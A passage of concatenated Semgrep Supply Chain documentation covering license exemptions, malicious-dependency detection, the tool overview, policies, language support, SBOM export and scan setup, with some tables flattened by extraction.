Packages tagged as **Other** are those with licenses that aren't yet categorized by Semgrep Supply Chain or aren't included in the categories of weak-copyleft licenses, copyleft licenses, or permissive licenses. This category includes all other standard Software Package Data Exchange (SPDX) licenses.
The **Other** license category may include packages with copyleft or permissive licenses. Consult your legal department before using packages in this category.
### Multiple license types
Some packages utilize multiple licenses. Semgrep defaults to **Block dependencies if any license is blocked**. For example, if a package allows use under the MIT license or the GPL-3.0 license, and the GPL-3.0 license is set to **Block**, but the MIT license is set to **Allow**, a pull request that adds the package is blocked. You can change this behavior in **Settings > Supply Chain**.
You can add an [exemption for the package](#create-exemptions) if subsequent review indicates the dependency is safe for use under any of the detected licenses.
## Create exemptions
You can create exemptions to **allow** specific dependencies with licenses that are typically blocked. This feature is useful for internal dependencies not accessed by users or external APIs.
Dependency exemptions are currently version-specific, so each version used must be exempted individually.
To exempt a package:
Sign in to Semgrep AppSec Platform and navigate to **Supply Chain > Dependencies**.
Search for the dependencies you want to exempt.
Click the dependency's icon to exempt it. Click the icon again to remove the exemption if necessary.
To view exempted dependencies in Semgrep AppSec Platform, go to [**Rules & Policies > Policies > Detection**](https://semgrep.dev/orgs/-/detection). The exceptions are listed in **Custom dependency exceptions**.
### Create custom dependency exceptions
Custom dependency exceptions allow you to manually list the dependencies that should NOT prevent Semgrep from blocking a pull request or merge request due to licensing issues.
For example, if `bitwarden/cli@2023.9.0`, which has a GPL-3.0 license, is on the allowlist, you must add an additional exception when upgrading to `bitwarden/cli@2023.9.1`. However, the dependency to which you're upgrading isn't yet listed in **Dependencies**; they appear only **after** you've scanned your project. Because the dependency isn't listed, you must manually create the exception. This ensures that the exclusion won't fail when you upgrade to `bitwarden/cli@2023.9.1` and scan your project again with Semgrep Supply Chain.
To set a custom dependency exception:
Sign in to Semgrep AppSec Platform and go to [**Rules & Policies > Policies > Detection**](https://semgrep.dev/orgs/-/detection)
In **Custom dependency exceptions**, click **Add custom exception**.
In the **Add custom dependency exception** dialog that appears:
i. Select the **Ecosystem** where this dependency applies.
ii. Provide the **Package name**, for example, `bitwarden/cli`.
iii. Provide the **Version** information for the package. The major, minor, and patch version information is required; pre-release and build metadata are optional.
iv. Click **Add** to save and add the exception.
# Detect and remove malicious dependencies
Source: https://docs.semgrep.dev/semgrep-supply-chain/malicious-dependencies
**Malicious dependencies** are dangerous packages or versions of packages designed to compromise systems. These threats include packages that have always been malicious, such as typosquatting attacks, or packages that become malicious after an attacker compromises a maintainer or injects harmful code.
Semgrep can detect malicious dependencies in your projects and pull requests (PRs) or merge requests (MRs).
## Supported package managers
The following table lists the languages for which Supply Chain can detect malicious dependencies.
| Language | Package manager or ecosystem |
| :--------- | :---------------------------------------------------------------------------------------------------- |
| C# | NuGet |
| Go | `go.mod` |
| Java | Gradle, Maven |
| JavaScript | npm |
| PHP | Composer |
| Python | PyPi |
| Ruby | RubyGems |
| Rust | `cargo.lock` |
| TypeScript | npm |
## Enable rules
To include malicious dependency rules in your Supply Chain scan, navigate to **Settings > General > Supply Chain** and click the **Malicious dependency advisories** toggle. You can also use this setting to disable malicious dependency scanning for your Semgrep organization.
## Create policy actions
Malicious dependency findings are treated as **critical severity** findings.
If you [set up your Supply Chain policies](/semgrep-appsec-platform/unified-policies/get-started#create-a-remediation-policy) to block critical severity findings, malicious dependency findings block a PR or MR the same way any other Supply Chain finding does. You can also create or update a Supply Chain policy and configure it to trigger automatically by including the condition **Dependency is malicious**.
## View findings
Malicious dependencies appear in the [**Supply Chain**](https://semgrep.dev/orgs/-/supply-chain/vulnerabilities?primary=true\&tab=open\&last_opened=All+time) tab, alongside other Supply Chain findings. They are denoted by the **MAL** badge.
To view malicious dependencies detected in your projects:
Navigate to [Supply Chain](https://semgrep.dev/orgs/-/supply-chain).
Click the **filters** icon and select **Malicious dependency**.
Review the results listed.
## Triage and remediate
After reviewing your findings, you can choose one of the following actions:
* If there is no fix available, **remove** the malicious dependency from your codebase and re-run a Supply Chain scan.
* If there is a safe version to update to, fix the finding by updating the dependency. Then, re-run a Supply Chain scan.
* Manually apply [any Semgrep triage state](/semgrep-supply-chain/triage-and-remediation#ignore-findings), such as **Ignored**, though this is not recommended.
**CAUTION**
If you have configured your policies to display malicious dependency findings to your developers and enabled **Settings > General > Global > Default developer triage permissions**, your developers can triage these findings as **Ignored**.
## Create Jira tickets
Semgrep provides a Jira integration option that lets you create Jira tickets for malicious dependency findings across any branch, not just the primary branch, so developers can respond immediately when a malicious package is detected.
To enable Jira ticket creation for malicious dependencies:
Navigate to **Settings > Integrations > Jira**.
Select the option to **Automatically create tickets for malicious dependency findings on any branch**.
## View advisories
You can view advisories for the malicious dependencies that Semgrep can detect:
Sign in to [ Semgrep AppSec Platform](https://semgrep.dev/login).
Go to [**Rules & Policies > Advisories**](https://semgrep.dev/orgs/-/advisories).
Go to the **Advisory type** filter, and ensure that only ** Malicious** is selected.
Currently, advisories for malicious dependencies are generated automatically and use the package name and version to identify the dependency. In some cases, the advisory indicates that only specific sources of the dependency have been compromised. If you don't use those sources and have never done so, then it might be appropriate to set the status of all findings for that advisory as **Ignored**.
# Overview
Source: https://docs.semgrep.dev/semgrep-supply-chain/overview
Semgrep Supply Chain is a software composition analysis (SCA) tool that detects security vulnerabilities in your codebase introduced by open source dependencies.
In addition to detecting vulnerabilities introduced by open source dependencies, Supply Chain can also:
* Assist with the triage and remediation of security issues
* Prevent future security issues that might arise when insecure packages are introduced or used.
* Detect malicious dependencies associated with Supply Chain attacks
* Support the enforcement of your business' open source package licensing requirements
* Generate reports and software bills of materials (SBOM) that provide a complete inventory of your open source components
## Detect vulnerabilities
Semgrep Supply Chain detects [security
vulnerabilities](https://nvd.nist.gov/vuln/full-listing) in your codebase introduced by open source dependencies using high-signal rules. Rules are instructions Semgrep uses to detect patterns in code, and to determine the vulnerability's reachability.
To do this, Supply Chain first determines the list of dependencies and versions in the code, then scans your codebase using rules that specify the following information:
* The dependency versions that contain a vulnerability
* The pattern for the vulnerable code that Semgrep compares against your code
* The severity of the vulnerability
For projects with a missing or incomplete lockfile, Supply Chain's **Dynamic Dependency Resolution** provides a complete inventory of your project's dependencies using a combination of manifest parsing and repository integration with package managers and private registries.
The following diagram shows the relationship between a Supply Chain rule, the codebase scanned, and in this case, a lockfile:
### Types of Supply Chain findings
Supply Chain generates a **finding** whenever it determines that your codebase uses or imports a package containing a vulnerability. In addition, Semgrep supports **reachability** for [generally available (GA) languages](/supported-languages):
* **GA languages**: Semgrep writes rules for all critical and high CVE severity levels for GA languages. That means Supply Chain can flag all your critical/high-severity findings as either reachable or unreachable.
* If there's a code pattern in the codebase that matches the vulnerability definition, the finding is flagged as **reachable**.
* A finding is **always reachable** if the only way to fix the vulnerability is to upgrade the dependency. Semgrep strongly recommends upgrading the dependencies involved in these findings.
* A finding is **conditionally reachable** if the vulnerability can be exploited when specific conditions are met. The finding is reachable if, in addition to the dataflow reachability in code, additional factors, such as the use of a specific operating system, are met. Semgrep cannot determine whether such factors are true, so conditionally reachable findings require manual review.
* If Supply Chain determines that you don't use the vulnerable library package imported or you don't use the vulnerable piece of code of the library or package imported, the finding is flagged as **unreachable**.
* If Supply Chain determines that you use a vulnerable version of a dependency, but Supply Chain doesn't have a relevant reachability rule, it flags the finding as **no reachability analysis**.
* For **languages where Supply Chain doesn't currently offer reachability rules**, Supply Chain's performance is comparable to that of [GitHub's Dependabot](https://github.com/dependabot). Supply Chain generates these findings by checking the dependency's version against a list of versions with known vulnerabilities, but it does not run reachability analysis. Because Supply Chain doesn't run reachability analysis, it can't determine whether the vulnerability is reachable. Such vulnerabilities are, therefore, flagged as **no reachability analysis**.
Specific dependency and code match findings are called **usages**. Semgrep AppSec Platform groups all usages together by vulnerability. For each vulnerability, the UI also displays a CVE number corresponding to the [CVE program record](https://www.cve.org/About/Overview).
#### Transitive dependencies and reachability analysis
A transitive dependency, also known as an indirect dependency, is a dependency of a dependency. Supply Chain scans transitive dependencies for [all supported languages](/supported-languages#semgrep-supply-chain), looking for security vulnerabilities, but it does *not* perform reachability analysis. This means that Supply Chain doesn't check the source code of your project's dependencies to determine if their dependencies produce a reachable finding in your code.
However, some dependencies are vulnerable simply by their inclusion in a codebase; in such cases, Supply Chain generates reachable findings for these dependencies, even if they're transitive rather than direct dependencies.
Some package ecosystems allow the use of a transitive dependency as if it were a direct dependency. Though this feature is uncommon, Supply Chain can scan for such usages and flag vulnerabilities in transitive dependencies as unreachable if not used directly.
### New CVEs and rule updates
Semgrep ingests CVE information and security advisories from the following sources:
Semgrep processes new information multiple times per day, ensuring a maximum lag time of no more than one hour. With this information, Semgrep:
* Generates rules for new security advisories
* Updates existing rules based on changes to security advisories
For major incidents that might affect customers, Semgrep's Security Research team ships its own advisories, even before third-party databases are updated. Semgrep processes [KEVs](https://www.cisa.gov/known-exploited-vulnerabilities-catalog) the same way it processes other types of vulnerabilities.
## Triage and fix vulnerabilities
Once Supply Chain has identified vulnerabilities in your code and generated findings, you can take the following actions:
* **Ignore findings**: If the finding is a false positive, or if your company's business policies deem the use of the dependency an acceptable risk, you can choose to ignore the finding.
* **Remediate true positives**: If the finding is one that you must address, you can:
* **Remove dependencies and refactor code**: You can remediate true positives identified by Supply Chain by updating the dependency to a safe version or removing the dependency, then refactoring all usages of that dependency in your project.
* **Use upgrade guidance and Autofix**: If the remediation for a finding is to upgrade the package, **Upgrade guidance** uses program analysis and AI to analyze the results of your Semgrep scans to see if you can safely and reliably update a vulnerable package or dependency to a fixed version. Semgrep can also open a pull request (PR) or merge request (MR) that updates the vulnerable version used by your repository and guide the developer on any breaking changes in the PR or MR description.
## Policies
Policies, which are scoped on a per-project basis, allow you to define the conditions that must be met for an automation action to occur. These actions include:
* Leaving a comment on the PR or MR
* Blocking the PR or MR from being merged
* Failing the build
## Malware detection and response
Semgrep can [detect malicious dependencies](/semgrep-supply-chain/malicious-dependencies), which are treated as critical severity findings. If you have set up your [policies](/semgrep-supply-chain/policies) to block critical severity findings, Semgrep prevents developers from merging pull requests or merge requests with malicious dependencies.
You can also configure [Supply Chain incident notifications](/semgrep-supply-chain/incident-notifications) to get notified in Slack within minutes whenever Semgrep declares a new Supply Chain incident and whether it affects your projects.
### Dependency search
Supply Chain's [dependency search](/semgrep-supply-chain/dependency-search) feature allows you to query for dependencies in your codebase; it can detect direct and transitive dependencies in any repository on which you have run a full scan. The results list the dependency, along with all of the repositories that use the dependency.
### Dependency paths
Supply Chain's dependency paths feature allows you to view dependency paths for all transitive dependencies introduced in a project, up to seven layers of depth. This provides information on how a transitive dependency was introduced and how deeply the transitive dependency is nested in the dependency tree.
## License compliance
The [license compliance](/semgrep-supply-chain/license-compliance) feature ensures that you're only using open source packages whose licensing meets your organization's requirements.
## Reporting
The Semgrep API allows you to obtain project and dependency information, as well as generate an SBOM. The following endpoints are available to you:
* [List dependencies](https://semgrep.dev/api/v1/docs/#tag/SupplyChainService/operation/SupplyChainService_ListDependencies)
* [List repositories with dependencies](https://semgrep.dev/api/v1/docs/#tag/SupplyChainService/operation/SupplyChainService_ListRepositoriesForDependencies)
* [List lockfiles in a given repository with dependencies](https://semgrep.dev/api/v1/docs/#tag/SupplyChainService/operation/SupplyChainService_ListLockfilesForDependencies)
* [Create a new SBOM export job](https://semgrep.dev/api/v1/docs/#tag/SupplyChainService/operation/SupplyChainService_CreateSbomExport)
* [Get the status of a SBOM export job](https://semgrep.dev/api/v1/docs/#tag/SupplyChainService/operation/SupplyChainService_GetSbomExport)
### Software bill of materials
Supply Chain can [generate a software bill of materials (SBOM)](/semgrep-supply-chain/sbom), a complete inventory of your third-party or open source components, to assist you with your auditing procedures. You can export the SBOM using the [Semgrep API](https://semgrep.dev/api/v1/docs/#tag/SupplyChainService/operation/SupplyChainService_CreateSbomExport) or [Semgrep AppSec Platform > Dependencies](https://semgrep.dev/orgs/-/supply-chain/t/dependencies).
# Manage policies
Source: https://docs.semgrep.dev/semgrep-supply-chain/policies
Upgrade to Unified Policies: Semgrep's latest version of **Policies** unifies policies across finding types, allows you to assign different policies to different projects, and adds conditional logic. See [Unified Policies](/semgrep-appsec-platform/unified-policies/overview) for more information.
By default, Semgrep AppSec Platform collects Supply Chain findings without notifying developers, similar to the [**Monitor** mode](/semgrep-code/policies#block-a-pr-or-mr-through-rule-modes) in Semgrep Code. This prevents developers from receiving notifications while you evaluate the tool.
Once you are ready to notify developers through a **comment** or **block** them from merging a pull request or merge request (PR or MR) that introduces a security vulnerability, define a **Supply Chain policy**. This feature helps you manage noise and ensures that developers are only notified or potentially blocked based on the conditions you set.
This feature enables you to configure the following:
* **Scope**: These are the projects (repositories) that are affected by the policy.
* **Conditions**: The conditions under which **actions** are performed. These conditions are typically attributes of a finding such as severity or reachability.
* **Actions**: Actions that are performed on the defined scope when conditions are met.
You can create as many policies as you need.
## Prerequisites
This feature requires the `semgrep:latest` Docker image or at least version 1.101.0 of the Semgrep CLI tool.
## View your policies
Only **admins** can view, create, edit, or delete policies.
Sign in to [ Semgrep AppSec Platform](https://semgrep.dev/login).
From the navigation bar, click **Rules** to expand the drop-down box, then click **Policies**.
Click **Supply Chain**. This takes you to the Supply Chain policies tab. Your policies are arranged as cards.
* To view and edit an existing policy, click its **name** or **the three-dot ellipsis () > Edit policy**.
* View a popup of a policy's **scope** (affected projects or tags) or a summary of its **actions and conditions** by clicking on the two summary links beside the policy name.
## Create a policy
From the Supply Chain policies tab, Click ** Create policy**.
Provide a **Policy name**.
Define the scope of the policy:
i. Click the drop-down box to select between **All Projects**, **Project**, or **Project tag**. Note that you can only select either a scope based on projects or tags, but not both.
ii. For **Project** or **Project tag** values, a second drop-down box appears. Choose the **projects** or **project tags** to finish defining the scope.
Define the **Conditions** of the policy. See the [Policy conditions](#policy-conditions) section for more information. You can create more than one condition by clicking **Add condition**.
* For each condition, you can select multiple values by clicking on the **plus sign ()** on the same row. The policy is applied when **any** of those values are met (`OR`).
* Each additional condition is additive. The policy is applied when **all** conditions are met (`AND`).
* You can define conditions that are exclusionary, such as **When transitivity *is not* Transitive....**
Define the actions of the policy. You can choose to **Leave a comment** or **Block and leave a comment**.
Click **Save**. This brings you back to the Supply Chain policies tab.
After creating a policy, it is **not** automatically enabled. Click the ** toggle** to enable a policy. This applies the policy to future scans.
## Common use cases for policies
Use the following recommendations to help you create policies. These guidelines help ensure your policies align with your business and organizational needs.
### Recommended conditions for blocking PRs or MRs
* **Always block PRs or MRs that introduce dependencies or dependency versions identified as malicious**. These represent known supply chain attacks and should never be allowed into your codebase.
* **Always reachable and reachable findings with upgradeable dependencies**. This provides a path to unblock the user, as Semgrep can leave a comment with the upgrade instructions.
### Recommended conditions for leaving a comment
* **Reachable findings without upgradeable dependencies**. This makes the developer aware of the risk.
* **Reachable, yet transitive findings**. Depending on your organization's policies, these may need to be flagged for risk.
* **Conditionally reachable findings**. The decision to show developers conditionally reachable findings may depend on weighing your compliance policies against the benefits of showing them more findings. Conditionally reachable findings typically require further investigation, manual triage, and ticketing.
* **Critical and high severity findings**. These findings could pose a significant risk, regardless of their reachability, and should be reviewed by a developer.
### Turn off PR and MR comments
By default, Semgrep pull request (PR) and merge request (MR) comments include both Semgrep Code and Semgrep Supply Chain (SSC) findings information. However, if you would like to turn off PR or MR comments for reachable SSC findings, you can do so as follows:
Sign in to [Semgrep AppSec Platform](https://semgrep.dev/login).
Go to [Rules & Policies > Policies > Supply Chain](https://semgrep.dev/orgs/-/policies/supply-chain).
Click **Comment on reachable Supply Chain findings** to turn off the SSC policy supporting comments.
> Turning off PR/MR comments does not turn off notifications regarding [license policy violations](/semgrep-supply-chain/license-compliance).
## Policy scopes
A policy's scope can consist of tags or projects, but not both. If you need to create a policy with both tags and projects, simply make another policy.
If a project or project tag that's included in a policy scope gets deleted, it is **removed from the policy scope**. If all projects or all project tags are deleted for a given policy, you must edit the policy for it to be applied to a valid scope.
## Policy conditions
The following table lists available conditions and their values:
| Condition | Values |
| :----------------------------------------------------------------------------------------- | :------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| Reachability |
Always reachable
Reachable
Conditionally reachable
Unreachable
No reachability analysis
|
| Severity |
Critical
High
Medium
Low
|
| Upgrade availability |
Upgrade available
Upgrade unavailable
|
| Transitivity |
Direct
Transitive
|
| EPSS probability |
High
Medium
Low
None
|
| [CVE](https://www.cve.org/) | Manually provide a CVE ID, formatted as `CVE-YYYY-NNNN+` or choose from a list of values. The values listed are generated from findings identified by Semgrep Supply Chain. |
| Advisory | Provide an advisory ID, typically a CVE, GHSA, or MAL identifier, or choose from a list of values. The values listed are generated from findings identified by Semgrep Supply Chain. Similar to CVE, but allows more advisory identifier options. |
## Other operations
### Edit a policy
From the Supply Chain policies tab, click the **three-dot (...) button > Edit policy** for the policy you want to edit. This takes you to the specific policy page.
Make your changes.
Click **Save**.
### Disable or enable a policy
From the Supply Chain policies tab, click the toggle for the policy you want to edit.
You can also disable or enable a policy from the policy's page:
From the Supply Chain policies tab, click the **three-dot (...) button > Edit policy**.
Turn off or on the **Enable policy** toggle.
Click **Save**.
### Delete a policy
From the Supply Chain policies tab, click the **three dot (...) button > Delete policy**, then click **Remove**.
Note that:
* This does not remove comments from existing PRs or MRs with findings.
* If a policy is the **sole reason** for blocking a PR, deleting it **and** re-running a scan unblocks the PR or MR.
# Supply Chain requirements and feature support
Source: https://docs.semgrep.dev/semgrep-supply-chain/requirements-and-feature-support
This document discusses the requirements to use Supply Chain and the features supported by Semgrep Supply Chain.
Supply Chain begins the scan process by parsing the manifest file or lockfile. For projects without a lockfile or an incomplete lockfile, Supply Chain's Dynamic Dependency Resolution provides a complete inventory of dependencies. The following sections list the requirements for both projects with and without lockfiles, as well as the features available to you based on your project's language and package manager.
## Package manager support
See [Supported languages](/supported-languages) for language-level coverage and feature maturity.
The following table lists all Semgrep-supported package managers for each language. Languages with **reachability** support are listed first.
Package.swift file and Swift-generated Package.resolved file. (See Swift documentation for instructions.)
Rust
Cargoβ‘
cargo.lock
Dart
Pub
pubspec.lock
Elixir
Hex
mix.lock
PHP
Composer
composer.lock
*β Supply Chain can treat `requirements.txt` as a lockfile with Pip-compiled output and fully pinned dependencies or as a manifest file with more flexible specifiers. If your `requirements.txt` file doesn't use pinned dependencies exclusively, use the [`--allow-local-builds` flag](/semgrep-supply-chain/set-up-and-configure#dynamic-dependency-resolution-beta) when invoking your scan. This ensures that the dependencies using non-exact version specifiers, such as `>=`, `>`, `~=`, are included in the dependency graph. Otherwise, Semgrep ingests only pinned (`==`) dependencies.*
*β‘Supply Chain does not analyze the transitivity of packages for these language and manifest file or lockfile combinations. All dependencies are listed as **No reachability Analysis.***
## Feature availability
The following sections discuss the features supported by Supply Chain and available to you based on your project's language, package manager, and lockfile or manifest file availability.
For projects with lockfiles, Semgrep parses lockfiles for dependencies, then scans your codebase for reachable findings based on the lockfiles. For a lockfile to be scanned by Semgrep Supply Chain, it must have one of the supported lockfile names.
For some languages, a lockfile or manifest file is required to determine accurately transitivity. See [Transitive dependencies and reachability analysis](/semgrep-supply-chain/overview/#transitive-dependencies-and-reachability-analysis) for more information.
Semgrep offers beta support for the scanning of projects written in several languages without lockfiles using Dynamic Dependency Resolution. See the table in the following section for more information.
### Features for supported languages
The following table lists all Supply Chain features for each language. Languages with **reachability** support are listed first.
No reachability analysis. However, Semgrep can compare a package's version against a list of versions with known vulnerabilities.
--
β
β
Dart
--
--
--
Elixir
--
--
--
*β License detection for new packages is asynchronous and processed after the initial scan. Policies aren't applied on first detection, but are enforced in subsequent scans.*
### Common vulnerabilities and exposures (CVE) coverage
For customers with an active paid subscription, Semgrep's reachability analysis
covers all **critical and high severity** CVEs from [supported sources](#supported-sources)
starting in 2017 across all supported languages.
#### Supported sources
* [ Reviewed GitHub Security Advisories](https://github.com/advisories?query=type%3Areviewed)
* [ Electron release notes](https://releases.electronjs.org/releases/stable)
* [ OSV](http://osv.dev/)
# Generate a software bill of materials
Source: https://docs.semgrep.dev/semgrep-supply-chain/sbom
**PREREQUISITE**
At least one repository that scans for dependencies through Semgrep Supply Chain. See [Scan third-party dependencies](/semgrep-supply-chain/set-up-and-configure).
Generate a software bill of materials (SBOM) to assess your third-party dependencies and comply with auditing procedures. Semgrep Supply Chain (SSC) can generate an SBOM for each repository you have added to Semgrep AppSec Platform. When generating an SBOM, Semgrep uses:
* The vulnerability information from the default branch for the project
* The dependency information from the latest full scan for the project.
## Supported standards and formats
Semgrep Supply Chain supports the following SBOM formats:
* CycloneDX 1.4 JSON
* CycloneDX 1.4 XML
* CycloneDX 1.5 JSON
* CycloneDX 1.5 XML
* CycloneDX 1.6 JSON
* CycloneDX 1.6 XML
* CycloneDX 1.7 JSON
* CycloneDX 1.7 XML
## Generate and download an SBOM for a single project
SBOM generation can be performed through Semgrep AppSec Platform or the [Semgrep API](/api-reference/v1/supplychainservice/create-a-new-sbom-export-job).
In Semgrep AppSec Platform, go to **Supply Chain > Dependencies**.
Click the **Download ** icon next to the repository you want an SBOM for.
Click the format you want the SBOM to be in. After clicking, refresh or leave the page only after the SBOM has been generated.
Once Semgrep has generated the SBOM, click the link on the toaster notification to download it.
You have successfully downloaded an SBOM.
**SUPPLY CHAIN SCANS ON NON-PRIMARY BRANCHES**
Typically, full scans are run only on primary (default) branches. However, if your workflow differs and you run full scans on non-primary branches, this can create a mismatch between dependencies and vulnerabilities in the generated SBOM. To avoid the mismatch, ensure that the latest full scan runs on the primary branch of the repository for which you want to generate an SBOM.
### Generate an SBOM through the API
Refer to the [Semgrep API > SBOM documentation](/api-reference/v1/supplychainservice/create-a-new-sbom-export-job).
## Semgrep-specific SBOM data fields
In addition to the [ minimum elements that define an SBOM](https://www.ntia.doc.gov/files/ntia/publications/sbom_minimum_elements_report.pdf), Semgrep provides additional metadata in the `vulnerabilities` field. Nested under the `vulnerabilities` field is a list of data objects describing a specific vulnerability. Each data object contains the following data fields:
| Semgrep-specific field | Description |
| :-------------------------------------------------------------- | :-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| Advisories | Links to GitHub or NIST advisories about the specific vulnerability. |
| Affects | The name and version of the package that the vulnerability affects. |
| Analysis | Semgrep's analysis of this vulnerability in your supply chain. Under analysis are `state` and `justification` fields, which describe if your codebase is affected by the vulnerability and why Semgrep thinks it is or is not affected. |
| CWEs | The assigned CWE (common weakness enumeration) number. |
| Description | A short description of the vulnerability. |
| Detail | A longer description of the vulnerability, including the affected versions. |
| Ratings | Semgrep Supply Chain's severity rating of this vulnerability. |
| References | Links to the specific CVE. References can come from NIST, Electron release notes, and GitHub Security Advisory. |
| Source | The primary source of this vulnerability's advisory. |
| Tools | Details about Semgrep, the tool used to generate the SBOM. |
# Set up and configure Supply Chain scans
Source: https://docs.semgrep.dev/semgrep-supply-chain/set-up-and-configure
Learn about the setup needed to scan your project with Semgrep Supply Chain and its configuration and customization options.
## Enable Supply Chain
If you haven't already enabled Supply Chain:
Sign in to [Semgrep AppSec Platform](https://semgrep.dev/login).
Go to **[Settings > General > Supply Chain](https://semgrep.dev/orgs/-/settings/general/supplyChain)**.
Click the ** Supply Chain scans** toggle if it is not already enabled.
Once you enable Semgrep Supply Chain, it automatically scans any repositories that meet the scan requirements in Semgrep AppSec Platform.
## Project directory structure
To scan your project with Supply Chain, it must use a [supported package manager and supported file names](/semgrep-supply-chain/requirements-and-feature-support).
Supply Chain can correctly parse code files, manifest files, and lockfiles in subfolders as well. Code files that use the dependencies in the manifest file or lockfile must be nested in the same directory as the manifest file or lockfile. Manifest files and lockfiles must all use supported file names.
In the following example, Supply Chain assumes that all code files using the dependencies in `my-project/running/lockfile.json` are nested in `my-project/running/` or deeper directories.
```
/my-project
ββββ/running
β ββββlockfile.json
β ββββbar.js
β ββββ/uphill
β ββββlockfile.json
β βββββfoo.js
ββββ/biking
```
If you have code files in `my-project/biking,` Supply Chain does not associate them with the dependencies in `my-project/running/lockfile.json`. If there is another manifest file or lockfile in `my-project/running`, such as `my-project/running/uphill/lockfile.json`, then this overrides the original `my-project/running/lockfile.json` for all code files in `my-project/running/uphill/` or deeper directories.
## Scan frequency
You can modify your CI configuration so that Supply Chain scans your code at a specified frequency or whenever a specific event occurs, such as opening a pull request or merge request.
### Rule updates
Semgrep Supply Chain [frequently receives rule updates](/semgrep-supply-chain/overview#new-cves-and-rule-updates). To take advantage of these updates, adjust the frequency with which Supply Chain scans your codebase.
If a rule is updated, findings generated against the revised rule are considered **new findings**, even if the previous version generated a finding. The new finding is not affected by any triage actions on findings related to the prior version of the rule. Because the finding is new, you'll also receive notifications through the channels you've set up, such as Slack.
### Schedule scans
The following list includes resources to set up schedules for different CI providers:
* [Azure Pipelines](https://docs.microsoft.com/en-us/azure/devops/pipelines/process/scheduled-triggers?view=azure-devops\&tabs=yaml)
* [Bitbucket Pipelines](https://support.atlassian.com/bitbucket-cloud/pipeline-triggers/)
* [Buildkite](https://buildkite.com/pipelines/scheduled-builds)
* [CircleCI](https://circleci.com/scheduled-pipelines#get-started-with-scheduled-pipelines-in-circleci)
* [GitHub Actions](/semgrep-ci/sample-ci-configs#sample-github-actions-configuration-file) (see the `schedule` section of the sample `semgrep.yml` configuration file)
* [GitLab CI/CD](https://docs.gitlab.com/ee/ci/pipelines/schedules.html)
* [Jenkins](https://www.jenkins.io/doc/book/pipeline/running-pipelines/#scheduling-jobs-in-jenkins)
### Event-triggered scans
You can configure your CI/CD system to trigger a Supply Chain scan whenever one of the following events occurs:
| Event | Scope of scan | Dependency rule set |
| ------------------------------------------- | ------------------------------------------------------------------------- | -------------------- |
| Pull request or merge request | [Diff-aware scans](/deployment/customize-ci-jobs#set-up-diff-aware-scans) | All dependency rules |
| Push or scheduled event, such as a cron job | Full scan | All dependency rules |
## Run a scan using the CLI
You can start a stand-alone Supply Chain scan by running the following command in the CLI:
```console theme={null}
semgrep ci --supply-chain
```
Semgrep prints a list of findings directly to the CLI, including the finding's reachability determination, severity level, a brief description, and suggested remediation.
You can also view your results in Semgrep AppSec Platform. It displays all of the information displayed in the CLI, but offers additional functionality such as:
* [Additional finding details](/semgrep-supply-chain/findings), such as whether the finding is always reachable, conditionally reachable, or transitive.
* [Dependency search](/semgrep-supply-chain/dependency-search) to view all of your project's dependencies and their associated vulnerabilities.
* [License compliance](/semgrep-supply-chain/license-compliance) to manage the dependencies used in your project based on their licenses.
## Scan a monorepo's dependencies
Supply Chain supports the scanning of monorepos. As outlined in [Project directory structure](#project-directory-structure), findings are grouped by directory based on the manifest file or lockfile present in the monorepo.
## Dynamic Dependency Resolution (beta)
This feature is currently in beta. Please contact [Semgrep Support](/support) for more information.
Supply Chain can use **Dynamic Dependency Resolution** to scan projects without lockfiles or with incomplete lockfiles.
### CLI scans, including self-managed CI systems
1. Ensure that the environment where you run Semgrep scans has installed all of the dependencies required to build your project, such as a compatible JDK and Maven, or Python and pip. You control which JDK is available, so projects that require Java versions below 11 can still use Dynamic Dependency Resolution in your own environment.
2. Initiate a Semgrep scan, ensuring that you include the `--allow-local-builds` flag to enable Semgrep to invoke package managers on the system:
```console theme={null}
semgrep ci --allow-local-builds
```
For existing CI jobs, you might have to edit your configuration file to include this flag. The flag allows Semgrep to build the project, if needed, to dynamically resolve dependencies. Semgrep uses the build information included in the `pom.xml` or `build.gradle` file to determine the set of dependencies used by the project.
### Semgrep Managed Scans
[Connect a private registry to Semgrep](/kb/semgrep-supply-chain/connect-a-private-registry) in **Settings > Integrations**. Note that only Maven registries are currently supported for Managed Scans.
Contact [Semgrep Support](/support) to enable Dynamic Dependency Resolution for the necessary repositories.
#### Java version support
Dynamic Dependency Resolution on Managed Scans includes the following JDKs: **11**, **17**, and **21**. Semgrep starts resolution with JDK 21 and falls back to JDK 11 or 17 when a repository indicates an older Gradle version.
| Java version | Managed Scans Dynamic Dependency Resolution |
| ---------------------------------------- | ------------------------------------------- |
| Java 11 and later | Supported |
| Java versions below 11, including Java 8 | Not supported |
This requirement applies only to Dynamic Dependency Resolution without lockfiles in the Managed Scans environment. It does **not** change Semgrep Code (SAST) Java coverage.
If your repository includes a supported lockfile or a Maven-generated [`maven_dep_tree.txt`](/semgrep-supply-chain/setup-maven), Semgrep parses that file and does not need to invoke a JDK for dependency resolution. The JDK version of the project then does not affect Supply Chain scanning.
For Java projects that require a JDK below 11 and do not have a lockfile or dependency tree:
* Run Supply Chain scans from your own CI after generating a lockfile or [`maven_dep_tree.txt`](/semgrep-supply-chain/setup-maven), or
* Run Dynamic Dependency Resolution in your own CI or CLI environment with [`--allow-local-builds`](#cli-scans-including-self-managed-ci-systems), where you control the installed JDK.
# Set up Semgrep Supply Chain for your infrastructure
Source: https://docs.semgrep.dev/semgrep-supply-chain/setup-infrastructure
**YOUR DEPLOYMENT JOURNEY**
* You have gained the necessary [resource access and permissions](/deployment/checklist) required for deployment.
* You have [created a Semgrep account and organization](/deployment/create-account-and-orgs).
* For GitHub and GitLab users: You have [connected your source code manager](/deployment/connect-scm).
* Optionally, you have [set up SSO](/deployment/sso).
* You have successfully added a [Semgrep job](/deployment/add-semgrep-to-ci) to your CI workflow.
Semgrep Supply Chain performs software composition analysis with reachability.
Scanning third-party code with Semgrep Supply Chain may require additional steps, such as generating a manifest file or lockfile that it can parse in continuous integration (CI).
The documents in this category describe how to set up Semgrep Supply Chain for specific manifest files, lockfiles, or CI providers, to ensure that your Semgrep Supply Chain deployment functions as intended.
| Package manager | Issue | Solution |
| :--------------------------------------------------------------------------------------- | :------------------------------------------------------------------ | :------------------------------------------------------------------------------------------------------------------------------------------------------- |
| Maven | Semgrep Supply Chain requires a dependency tree to detect packages. | Generate a dependency tree using `mvn` by following the steps in [Setting up Semgrep Supply Chain with Apache Maven](/semgrep-supply-chain/setup-maven). |
# Set up Semgrep Supply Chain with Apache Maven (Java)
